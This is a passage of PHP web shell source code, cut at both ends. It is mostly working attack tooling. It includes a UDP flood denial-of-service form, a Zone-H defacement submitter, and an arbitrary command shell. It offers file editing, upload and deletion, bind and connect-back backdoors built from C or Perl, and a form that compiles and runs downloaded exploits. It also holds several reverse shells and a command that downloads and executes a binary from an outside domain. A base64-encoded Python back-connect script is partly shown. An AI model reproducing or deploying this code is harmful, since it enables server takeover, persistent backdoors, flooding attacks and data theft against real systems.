3288 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
3289 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
3290 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
3291 $kubra = curl_exec($k);
3292 curl_close($k);
3293 return $kubra;
3294}
3295{
3296 ob_start();
3297 $sub = @get_loaded_extensions();
3298 if(!in_array("curl", $sub))
3299 {
3300 die('<center><b>[-] Curl Is Not Supported !![-]</b></center>');
3301 }
3302
3303 $hacker = $_POST['defacer'];
3304 $method = $_POST['hackmode'];
3305 $neden = $_POST['reason'];
3306 $site = $_POST['domain'];
3307
3308 if (empty($hacker))
3309 {
3310 die ("<center><b>[+] YOU MUST FILL THE ATTACKER NAME [+]</b></center>");
3311 }
3312 elseif($method == "--------SELECT--------")
3313 {
3314 die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>");
3315 }
3316 elseif($neden == "--------SELECT--------")
3317 {
3318 die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>");
3319 }
3320 elseif(empty($site))
3321 {
3322 die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>");
3323 }
3324 $i = 0;
3325 $sites = explode("\n", $site);
3326 while($i < count($sites))
3327 {
3328 if(substr($sites[$i], 0, 4) != "http")
3329 {
3330 $sites[$i] = "http://".$sites[$i];
3331 }
3332 ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
3333 echo "Domain : ".$sites[$i]." Defaced Last Years !";
3334 ++$i;
3335 }
3336 echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]";
3337 }
3338?>
3339<?php }
3340
3341elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
3342 {
3343 ?>
3344 <form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
3345 <?php
3346
3347 //UDP
3348 if(isset($_GET['host'])&&isset($_GET['time']))
3349 {
3350 $packets = 0;
3351 ignore_user_abort(TRUE);
3352 set_time_limit(0);
3353
3354 $exec_time = $_GET['time'];
3355
3356 $time = time();
3357 //print "Started: ".time('d-m-y h:i:s')."<br>";
3358 $max_time = $time+$exec_time;
3359
3360 $host = $_GET['host'];
3361
3362 for($i=0;$i<65000;$i++){
3363 $out .= 'X';
3364 }
3365
3366 while(1){
3367 $packets++;
3368 if(time() > $max_time){ break; }
3369 $rand = rand(1,65000);
3370 $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
3371 if($fp){
3372 fwrite($fp, $out);
3373 fclose($fp);
3374 }
3375 }
3376
3377 echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
3378 echo '<br><br>
3379 <form action="'.$surl.'" method=GET>
3380 <input type="hidden" name="act" value="phptools">
3381 Host: <br><input type=text name=host><br>
3382 Length (seconds): <br><input type=text name=time><br>
3383 <input type=submit value=Go>
3384 </form>';
3385 }
3386 else
3387 {
3388 echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
3389 <table class="tabnet" style="width:300px;">
3390 <tr>
3391 <th colspan="2">UDP Flood</th>
3392 </tr>
3393 <tr>
3394 <td> Host</td>
3395 <td><input style="width:220px;" class="inputz" type=text name=host value=></td>
3396 </tr>
3397 <tr>
3398 <td> Length (seconds)</td>
3399 <td><input style="width:220px;" class="inputz" type=text name=time value=></td>
3400 </tr>
3401 <tr>
3402 <td><input style="width:100%;" class="inputzbut" type="submit" value="Attack !" /></td>
3403 </tr>
3404 </table>
3405 </center>';
3406 }
3407 }
3408
3409elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
3410 {
3411 ?>
3412 <form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
3413 <?php
3414
3415 //UDP
3416 if(isset($_GET['host'])&&isset($_GET['time']))
3417 {
3418 $packets = 0;
3419 ignore_user_abort(TRUE);
3420 set_time_limit(0);
3421
3422 $exec_time = $_GET['time'];
3423
3424 $time = time();
3425 //print "Started: ".time('d-m-y h:i:s')."<br>";
3426 $max_time = $time+$exec_time;
3427
3428 $host = $_GET['host'];
3429
3430 for($i=0;$i<65000;$i++){
3431 $out .= 'X';
3432 }
3433
3434 while(1){
3435 $packets++;
3436 if(time() > $max_time){ break; }
3437 $rand = rand(1,65000);
3438 $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
3439 if($fp){
3440 fwrite($fp, $out);
3441 fclose($fp);
3442 }
3443 }
3444
3445 echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
3446 echo '<br><br>
3447 <form action="'.$surl.'" method=GET>
3448 <input type="hidden" name="act" value="phptools">
3449 Host: <br><input type=text name=host><br>
3450 Length (seconds): <br><input type=text name=time><br>
3451 <input type=submit value=Go>
3452 </form>';
3453 }
3454 else
3455 {
3456 echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
3457 <table class="tabnet" style="width:300px;">
3458 <tr>
3459 <th colspan="2">UDP Flood</th>
3460 </tr>
3461 <tr>
3462 <td> Host</td>
3463 <td><input style="width:220px;" class="inputz" type=text name=host value=></td>
3464 </tr>
3465 <tr>
3466 <td> Length (seconds)</td>
3467 <td><input style="width:220px;" class="inputz" type=text name=time value=></td>
3468 </tr>
3469 <tr>
3470 <td><input style="width:100%;" class="inputzbut" type="submit" value="Go" /></td>
3471 </tr>
3472 </table>
3473 </center>';
3474 }
3475 }
3476
3477
3478elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo'))
3479 {
3480 @ob_start();
3481 @eval("phpinfo();");
3482 $buff = @ob_get_contents();
3483 @ob_end_clean();
3484 $awal = strpos($buff,"<body>")+6;
3485 $akhir = strpos($buff,"</body>");
3486 echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
3487 }
3488
3489elseif(isset($_GET['view']) && ($_GET['view'] != ""))
3490 {
3491 if(is_file($_GET['view']))
3492 {
3493 if(!isset($file)) $file = magicboom($_GET['view']);
3494 if(!$win && $posix)
3495 {
3496 $name=@posix_getpwuid(@fileowner($file));
3497 $group=@posix_getgrgid(@filegroup($file));
3498 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
3499 }
3500 else { $owner = $user; }
3501 $filn = basename($file);
3502 echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
3503 <tr>
3504 <td>Filename</td>
3505 <td>
3506 <span id=\"".clearspace($filn)."_link\">".$file."</span>
3507 <form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
3508 <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
3509 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
3510 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
3511 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
3512 onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
3513 </form>
3514 </td>
3515 </tr>
3516 <tr>
3517 <td>Size</td>
3518 <td>".ukuran($file)."</td>
3519 </tr>
3520 <tr>
3521 <td>Permission</td>
3522 <td>".get_perms($file)."</td>
3523 </tr>
3524 <tr>
3525 <td>Owner</td>
3526 <td>".$owner."</td>
3527 </tr>
3528 <tr>
3529 <td>Create time</td>
3530 <td>".date("d-M-Y H:i",@filectime($file))."</td>
3531 </tr>
3532 <tr>
3533 <td>Last modified</td>
3534 <td>".date("d-M-Y H:i",@filemtime($file))."</td>
3535 </tr>
3536 <tr>
3537 <td>Last accessed</td>
3538 <td>".date("d-M-Y H:i",@fileatime($file))."</td>
3539 </tr>
3540 <tr>
3541 <td>Actions</td>
3542 <td><a href=\"?y=$pwd&edit=$file\">edit</a>
3543 | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a>
3544 | <a href=\"?y=$pwd&delete=$file\">delete</a>
3545 | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gz</a>)
3546 </td>
3547 </tr>
3548 <tr>
3549 <td>View</td>
3550 <td><a href=\"?y=".$pwd."&view=".$file."\">text</a>
3551 | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a>
3552 | <a href=\"?y=".$pwd."&view=".$file."&type=image\">img</a>
3553 </td>
3554 </tr>
3555 </table> ";
3556 if(isset($_GET['type']) && ($_GET['type']=='image'))
3557 { echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>"; }
3558 elseif(isset($_GET['type']) && ($_GET['type']=='code'))
3559 { echo "<div class=\"viewfile\">"; $file = wordwrap(@file_get_contents($file),"240","\n"); @highlight_string($file); echo "</div>"; }
3560 else { echo "<div class=\"viewfile\">"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "</div>"; }
3561 }
3562 elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); }
3563 }
3564
3565elseif(isset($_GET['edit']) && ($_GET['edit'] != ""))
3566 {
3567 if(isset($_POST['save']))
3568 {
3569 $file = $_POST['saveas'];
3570 $content = magicboom($_POST['content']);
3571 if($filez = @fopen($file,"w"))
3572 {
3573 $time = date("d-M-Y H:i",time());
3574 if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
3575 else $msg = "failed to save"; @fclose($filez);
3576 }
3577 else $msg = "permission denied";
3578 }
3579 if(!isset($file)) $file = $_GET['edit'];
3580 if($filez = @fopen($file,"r"))
3581 {
3582 $content = "";
3583 while(!feof($filez))
3584 {
3585 $content .= htmlentities(str_replace("''","'",fgets($filez)));
3586 }
3587 @fclose($filez);
3588 } ?>
3589 <form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
3590 <table class="cmdbox">
3591 <tr>
3592 <td colspan="2">
3593 <textarea class="output" name="content"><?php echo $content; ?></textarea>
3594 </td>
3595 <tr>
3596 <td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
3597 <input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
3598 <?php echo $msg; ?>
3599 </td>
3600 </tr>
3601 </table>
3602 </form>
3603<?php
3604 }
3605
3606elseif(isset($_GET['x']) && ($_GET['x'] == 'upload'))
3607 {
3608 if(isset($_POST['uploadcomp']))
3609 {
3610 if(is_uploaded_file($_FILES['file']['tmp_name']))
3611 {
3612 $path = magicboom($_POST['path']);
3613 $fname = $_FILES['file']['name'];
3614 $tmp_name = $_FILES['file']['tmp_name'];
3615 $pindah = $path.$fname;
3616 $stat = @move_uploaded_file($tmp_name,$pindah);
3617 if ($stat) { $msg = "file uploaded to $pindah"; }
3618 else $msg = "failed to upload $fname";
3619 }
3620 else $msg = "failed to upload $fname";
3621 }
3622 elseif(isset($_POST['uploadurl']))
3623 {
3624 $pilihan = trim($_POST['pilihan']);
3625 $wurl = trim($_POST['wurl']);
3626 $path = magicboom($_POST['path']);
3627 $namafile = download($pilihan,$wurl);
3628 $pindah = $path.$namafile;
3629 if(is_file($pindah)) { $msg = "file uploaded to DIR $pindah"; }
3630 else $msg = "failed ! to upload $namafile"; }
3631 ?>
3632 <form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
3633 <table class="tabnet" style="width:320px;padding:0 1px;">
3634 <tr>
3635 <th colspan="2">Upload from computer</th>
3636 </tr>
3637 <tr>
3638
3639 <td colspan="2">
3640 <p style="text-align:center;">
3641 <input style="color:#7CDA89;" type="file" name="file" />
3642 <input type="submit" name="uploadcomp" class="inputzbut" value="Go !" style="width:80px;">
3643 </p>
3644 </td>
3645 </tr>
3646 <tr>
3647 <td colspan="2">
3648 <input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" />
3649 </td>
3650 </tr>
3651 </table>
3652 </form>
3653 <table class="tabnet" style="width:320px;padding:0 1px;">
3654 <tr>
3655 <th colspan="2">Upload from url</th>
3656 </tr>
3657 <tr>
3658 <td colspan="2">
3659 <form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
3660 <table>
3661 <tr>
3662 <td>url</td>
3663 <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td>
3664 </tr>
3665 <tr>
3666 <td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td>
3667 </tr>
3668 <tr>
3669 <td>
3670 <select size="1" class="inputz" name="pilihan">
3671 <option value="wwget">wget</option>
3672 <option value="wlynx">lynx</option>
3673 <option value="wfread">fread</option>
3674 <option value="wfetch">fetch</option>
3675 <option value="wlinks">links</option>
3676 <option value="wget">GET</option>
3677 <option value="wcurl">curl</option>
3678 </select>
3679 </td>
3680 <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go !" style="width:246px;"></td>
3681 </tr>
3682 </table>
3683 </form>
3684 </td>
3685 </tr>
3686 </table>
3687 <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
3688<?php }
3689
3690elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit'))
3691 {
3692 if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C'))
3693 {
3694 $port = trim($_POST['port']);
3695 $passwrd = trim($_POST['bind_pass']);
3696 tulis("bdc.c",$port_bind_bd_c);
3697 exe("gcc -o bdc bdc.c");
3698 exe("chmod 777 bdc");
3699 @unlink("bdc.c");
3700 exe("./bdc ".$port." ".$passwrd." &");
3701 $scan = exe("ps aux");
3702 if(eregi("./bdc $por",$scan))
3703 {
3704 $msg = "<p>Process found running, backdoor setup successfully.</p>";
3705 }
3706 else
3707 {
3708 $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
3709 }
3710 }
3711 elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl'))
3712 {
3713 $port = trim($_POST['port']);
3714 $passwrd = trim($_POST['bind_pass']);
3715 tulis("bdp",$port_bind_bd_pl);
3716 exe("chmod 777 bdp");
3717 $p2=which("perl");
3718 exe($p2." bdp ".$port." &");
3719 $scan = exe("ps aux");
3720 if(eregi("$p2 bdp $port",$scan))
3721 { $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
3722 else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; } }
3723 elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C'))
3724 {
3725 $ip = trim($_POST['ip']);
3726 $port = trim($_POST['backport']);
3727 tulis("bcc.c",$back_connect_c);
3728 exe("gcc -o bcc bcc.c");
3729 exe("chmod 777 bcc");
3730 @unlink("bcc.c");
3731 exe("./bcc ".$ip." ".$port." &");
3732 $msg = "Now script try connect to ".$ip." port ".$port." ...";
3733 }
3734 elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl'))
3735 {
3736 $ip = trim($_POST['ip']);
3737 $port = trim($_POST['backport']);
3738 tulis_2("bcp",$back_connect);
3739 exe("chmod +x bcp");
3740 $p2=which("perl");
3741 exe($p2." bcp ".$ip." ".$port." &");
3742 sleep(1);
3743 $msg = "Now script try connect to ".$ip." port ".$port." ...";
3744 unlink("bcp");
3745 }
3746 elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
3747 {
3748 $pilihan = trim($_POST['pilihan']);
3749 $wurl = trim($_POST['wurl']);
3750 $namafile = download($pilihan,$wurl);
3751 if(is_file($namafile)) { $msg = exe($wcmd); } else $msg = "error: file not found $namafile"; }
3752 ?>
3753 <table class="tabnet">
3754 <tr>
3755 <th>Port Binding</th>
3756 <th>Connect Back</th>
3757 <th>Load and Exploit</th>
3758 </tr>
3759 <tr>
3760 <td>
3761 <form method="post" actions="?y=<?php echo $pwd; ?>&x=netsploit">
3762 <table>
3763 <tr>
3764 <td>Port</td>
3765 <td>
3766 <input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>">
3767 </td>
3768 </tr>
3769 <tr>
3770 <td>Password</td>
3771 <td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td>
3772 </tr>
3773 <tr>
3774 <td>Use</td>
3775 <td style="text-align:justify">
3776 <p>
3777 <select class="inputz" size="1" name="use">
3778 <option value="Perl">Perl</option>
3779 <option value="C">C</option>
3780 </select>
3781 <input class="inputzbut" type="submit" name="bind" value="Bind !" style="width:120px">
3782 </td>
3783 </tr>
3784 </table>
3785 </form>
3786 </td>
3787 <td>
3788 <form method="post" actions="?y=<?php echo $pwd; ?>&x=netsploit">
3789 <table>
3790 <tr>
3791 <td>IP</td>
3792 <td>
3793 <input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>">
3794 </td>
3795 </tr>
3796 <tr>
3797 <td>Port</td>
3798 <td>
3799 <input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>">
3800 </td>
3801 </tr>
3802 <tr>
3803 <td>Use</td>
3804 <td style="text-align:justify">
3805 <p>
3806 <select size="1" class="inputz" name="use">
3807 <option value="Perl">Perl</option>
3808 <option value="C">C</option>
3809 </select>
3810 <input type="submit" name="backconn" value="Connect !" class="inputzbut" style="width:120px">
3811 </td>
3812 </tr>
3813 </table>
3814 </form>
3815 </td>
3816 <td>
3817 <form method="post" actions="?y=<?php echo $pwd; ?>&x=netsploit">
3818 <table>
3819 <tr>
3820 <td>url</td>
3821 <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td>
3822 </tr>
3823 <tr>
3824 <td>cmd</td>
3825 <td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
3826 </tr>
3827 <tr>
3828 <td>
3829 <select size="1" class="inputz" name="pilihan">
3830 <option value="wwget">wget</option>
3831 <option value="wlynx">lynx</option>
3832 <option value="wfread">fread</option>
3833 <option value="wfetch">fetch</option>
3834 <option value="wlinks">links</option>
3835 <option value="wget">GET</option>
3836 <option value="wcurl">curl</option>
3837 </select>
3838 </td>
3839 <td colspan="2">
3840 <input type="submit" name="expcompile" class="inputzbut" value="Go !" style="width:246px;">
3841 </td>
3842 </tr>
3843 </table>
3844 </form>
3845 </td>
3846 </tr>
3847 </table>
3848 <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
3849<?php }
3850
3851elseif(isset($_GET['x']) && ($_GET['x'] == 'shell'))
3852 {
3853 ?>
3854 <form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
3855 <table class="cmdbox">
3856 <tr>
3857 <td colspan="2">
3858 <textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
3859 </td>
3860 </tr>
3861 <tr>
3862 <td colspan="2"><?php echo $prompt; ?>
3863 <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" />
3864 <input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" />
3865 </td>
3866 </tr>
3867 </table>
3868 </form> <?php
3869 }
3870else
3871 {
3872 if(isset($_GET['delete']) && ($_GET['delete'] != ""))
3873 {
3874 $file = $_GET['delete']; @unlink($file);
3875 }
3876 elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != ""))
3877 {
3878 @exe('rm -rf '.$_GET['fdelete'].'');
3879 }
3880 elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != ""))
3881 {
3882 $path = $pwd.$_GET['mkdir']; @mkdir($path);
3883 }
3884 $buff = showdir($pwd,$prompt);
3885 echo $buff;
3886 }
3887 ?>
3888
3889 </div>
3890 </font></font></span>
3891
3892
3893
3894 <?php
3895
3896function printit ($string) {
3897
3898 if (!$daemon) {
3899
3900 print "$string\n";
3901
3902 }
3903
3904}
3905
3906$bc = $_GET["BackConnect"];
3907
3908switch($bc){
3909
3910case "PHP_1":
3911
3912
3913
3914set_time_limit (0);
3915
3916$VERSION = "1.0";
3917
3918$ip = $_SERVER["REMOTE_ADDR"];
3919
3920$port = 22;
3921
3922$chunk_size = 1400;
3923
3924$write_a = null;
3925
3926$error_a = null;
3927
3928$shell = 'uname -a; w; id; /bin/sh -i';
3929
3930$daemon = 0;
3931
3932$debug = 0;
3933
3934if (function_exists('pcntl_fork')) {
3935
3936
3937
3938 $pid = pcntl_fork();
3939
3940
3941
3942 if ($pid == -1) {
3943
3944 printit("ERROR: Can't fork");
3945
3946 exit(1);
3947
3948 }
3949
3950
3951
3952 if ($pid) {
3953
3954 exit(0); // Parent exits
3955
3956 }
3957
3958 if (posix_setsid() == -1) {
3959
3960 printit("Error: Can't setsid()");
3961
3962 exit(1);
3963
3964 }
3965
3966
3967
3968 $daemon = 1;
3969
3970} else {
3971
3972 print("WARNING: Failed to daemonise. This is quite common and not fatal.");
3973
3974}
3975
3976
3977
3978// Change to a safe directory
3979
3980chdir("/");
3981
3982
3983
3984// Remove any umask we inherited
3985
3986umask(0);
3987
3988
3989
3990//
3991
3992// Do the reverse shell...
3993
3994//
3995
3996
3997
3998// Open reverse connection
3999
4000$sock = fsockopen($ip, $port, $errno, $errstr, 30);
4001
4002if (!$sock) {
4003
4004 printit("$errstr ($errno)");
4005
4006 exit(1);
4007
4008}
4009
4010
4011
4012// Spawn shell process
4013
4014$descriptorspec = array(
4015
4016 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
4017
4018 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
4019
4020 2 => array("pipe", "w") // stderr is a pipe that the child will write to
4021
4022);
4023
4024
4025
4026$process = proc_open($shell, $descriptorspec, $pipes);
4027
4028
4029
4030if (!is_resource($process)) {
4031
4032 printit("ERROR: Can't spawn shell");
4033
4034 exit(1);
4035
4036}
4037
4038
4039
4040// Set everything to non-blocking
4041
4042// Reason: Occsionally reads will block, even though stream_select tells us they won't
4043
4044stream_set_blocking($pipes[0], 0);
4045
4046stream_set_blocking($pipes[1], 0);
4047
4048stream_set_blocking($pipes[2], 0);
4049
4050stream_set_blocking($sock, 0);
4051
4052
4053
4054printit("Successfully opened reverse shell to $ip:$port");
4055
4056
4057
4058while (1) {
4059
4060 // Check for end of TCP connection
4061
4062 if (feof($sock)) {
4063
4064 printit("ERROR: Shell connection terminated");
4065
4066 break;
4067
4068 }
4069
4070
4071
4072 // Check for end of STDOUT
4073
4074 if (feof($pipes[1])) {
4075
4076 printit("ERROR: Shell process terminated");
4077
4078 break;
4079
4080 }
4081
4082
4083
4084 // Wait until a command is end down $sock, or some
4085
4086 // command output is available on STDOUT or STDERR
4087
4088 $read_a = array($sock, $pipes[1], $pipes[2]);
4089
4090 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
4091
4092
4093
4094 // If we can read from the TCP socket, send
4095
4096 // data to process's STDIN
4097
4098 if (in_array($sock, $read_a)) {
4099
4100 if ($debug) printit("SOCK READ");
4101
4102 $input = fread($sock, $chunk_size);
4103
4104 if ($debug) printit("SOCK: $input");
4105
4106 fwrite($pipes[0], $input);
4107
4108 }
4109
4110
4111
4112 // If we can read from the process's STDOUT
4113
4114 // send data down tcp connection
4115
4116 if (in_array($pipes[1], $read_a)) {
4117
4118 if ($debug) printit("STDOUT READ");
4119
4120 $input = fread($pipes[1], $chunk_size);
4121
4122 if ($debug) printit("STDOUT: $input");
4123
4124 fwrite($sock, $input);
4125
4126 }
4127
4128
4129
4130 // If we can read from the process's STDERR
4131
4132 // send data down tcp connection
4133
4134 if (in_array($pipes[2], $read_a)) {
4135
4136 if ($debug) printit("STDERR READ");
4137
4138 $input = fread($pipes[2], $chunk_size);
4139
4140 if ($debug) printit("STDERR: $input");
4141
4142 fwrite($sock, $input);
4143
4144 }
4145
4146}
4147
4148
4149
4150fclose($sock);
4151
4152fclose($pipes[0]);
4153
4154fclose($pipes[1]);
4155
4156fclose($pipes[2]);
4157
4158proc_close($process);
4159
4160
4161
4162// Like print, but does nothing if we've daemonised ourself
4163
4164// (I can't figure out how to redirect STDOUT like a proper daemon)
4165
4166break;
4167
4168case "PHP_2":
4169
4170 $ipim=$_SERVER["REMOTE_ADDR"];
4171
4172 $portum="22";
4173
4174 if ($ipim <> "")
4175
4176 {
4177
4178 $mucx=fsockopen($ipim , $portum , $errno, $errstr );
4179
4180 if (!$mucx){
4181
4182 $result = "Error: didnt connect !!!";
4183
4184 }
4185
4186 else {
4187
4188
4189
4190 $zamazing0="\n";
4191
4192 fputs ($mucx ,"\nwelcome ZoRBaCK\n\n");
4193
4194 fputs($mucx , system("uname -a") .$zamazing0 );
4195
4196 fputs($mucx , system("pwd") .$zamazing0 );
4197
4198 fputs($mucx , system("id") .$zamazing0.$zamazing0 );
4199
4200 while(!feof($mucx)){
4201
4202 fputs ($mucx);
4203
4204 $one="[$";
4205
4206 $two="]";
4207
4208 $result= fgets ($mucx, 8192);
4209
4210 $message=`$result`;
4211
4212 fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n");
4213
4214 }
4215
4216 fclose ($mucx);
4217
4218 }
4219
4220 }
4221
4222
4223
4224break;
4225
4226case "PHP_3":
4227
4228 $fipn=$_SERVER["REMOTE_ADDR"];
4229
4230 $bportn="22";
4231
4232 if ($fipn <> "")
4233
4234 {
4235
4236 $fp=fsockopen($fipn , $bportn , $errno, $errstr);
4237
4238 if (!$fp){
4239
4240 $result = "Error: could not open socket connection";
4241
4242 }
4243
4244 else {
4245
4246 fputs ($fp ,"\n
4247
4248whoami
4249
4250root
4251
4252:)\n\n");
4253
4254 while(!feof($fp)){
4255
4256 fputs ($fp);
4257
4258 $result= fgets ($fp, 4096);
4259
4260 $message=`$result`;
4261
4262 fputs ($fp,"--> ".$message."\n");
4263
4264 }
4265
4266 fclose ($fp);
4267
4268 }
4269
4270 }
4271
4272break;
4273
4274case "PHP_4":
4275
4276#!/usr/bin/perl
4277
4278# coded by izo
4279
4280{
4281
4282print "root by izo\n";
4283
4284$fip=$_SERVER["REMOTE_ADDR"];
4285
4286$bport="22";
4287
4288system("wget http://paradiseinpuntagorda.com/images/dc");
4289
4290system("chmod 777 dc");
4291
4292system("./dc $fip $bport");
4293
4294}
4295
4296break;
4297
4298case "PHP_5":
4299
4300# coded by izo
4301
4302{
4303
4304print "Bağlanılıyor...\n";
4305
4306$fipc=$_SERVER["REMOTE_ADDR"];
4307
4308$bportc="22";
4309
4310$izoemmi = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMjIyMjIyMjIyMjIyMjIyMjIyMjIwojLS0tLS0tLS0tLS0t
4311
4312LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiMgICAgICAgICAgICAgICAgICAg
4313
4314ICAgLl9fX19fX19fX19fX19fX19fX19fXy4gIHwKIyAgIGNvZGVkIGJ5IHNsYXYwbmljICB8IHNs
4315
4316YXYwbmljMEBnbWFpbC5jb20gfCAgfCAgICAKIyAgICAgICAgICAgICAgICAgICAgICBeLS0tLS0t
4317
4318LS0tLS0tLS0tLS0tLS0tXiAgfAojIHNpdGU6IHNsYXYwbmljLnhzcy5ydSAgICAgICAgICAgICAg
4319
4320ICAgICAgICAgICB8CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
4321
4322LS0tLSsKI2ZvciBzZXR1cCBhIGxpc3RlbmluZyBwb3J0IG9uIHlvdXIgaG9zdDogbmMgLWwgLXAg
4323
4324W3BvcnRdIAojVXNlOiBweXRob24gc2xfYmMucHkgW2hvc3RdIFtwb3J0XSB8fCBzbF9iYy5weSAt
4325
4326ZGVmYXVsdCBzZXR0aW5ncwoKZnJvbSBzb2NrZXQgaW1wb3J0ICoKaW1wb3J0IG9zCmltcG9ydCBt
4327
4328ZDUKaW1wb3J0IHN5cwoKIyMjIyMjIyMjIyNfRGVmYXVsdF8jIyMjIyMjIyMjIyMjIyMjIyMjIyMj
4329
4330IyMKaG9zdD0nbG9jYWxob3N0JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAjCnBvcnQ9NjY2
4331
4332NiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwphdXRvY29tbWFuZHM9InVuc2V0
4333
4334IEhJU1RGSUxFO3VuYW1lIC1hO2lkIiAgICMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
4335
4336IyMjIyMjIyMjIyMjIyMKaWYgbGVuKHN5cy5hcmd2KT4xOgogICAgaG9zdD1zeXMuYXJndlsxXQog
4337
4338ICAgaWYgbGVuKHN5cy5hcmd2KT4yOgogICAgICAgIHBvcnQ9aW50KHN5cy5hcmd2WzJdKQpwcmlu
4339
4340dCAiWytdaG9zdDpwb3J0PSAlczolaSIlKGhvc3QscG9ydCkKICAgICAgICAKaW5mbz1vcy5wb3Bl
4341
4342bihhdXRvY29tbWFuZHMpLnJlYWQoKQp0cnk6CiAgICBzb2Nrb2JqPXNvY2tldChBRl9JTkVULFNP
4343
4344Q0tfU1RSRUFNKQogICAgc29ja29iai5jb25uZWN0KChob3N0LHBvcnQpKQpleGNlcHQ6CiAgICBw
4345
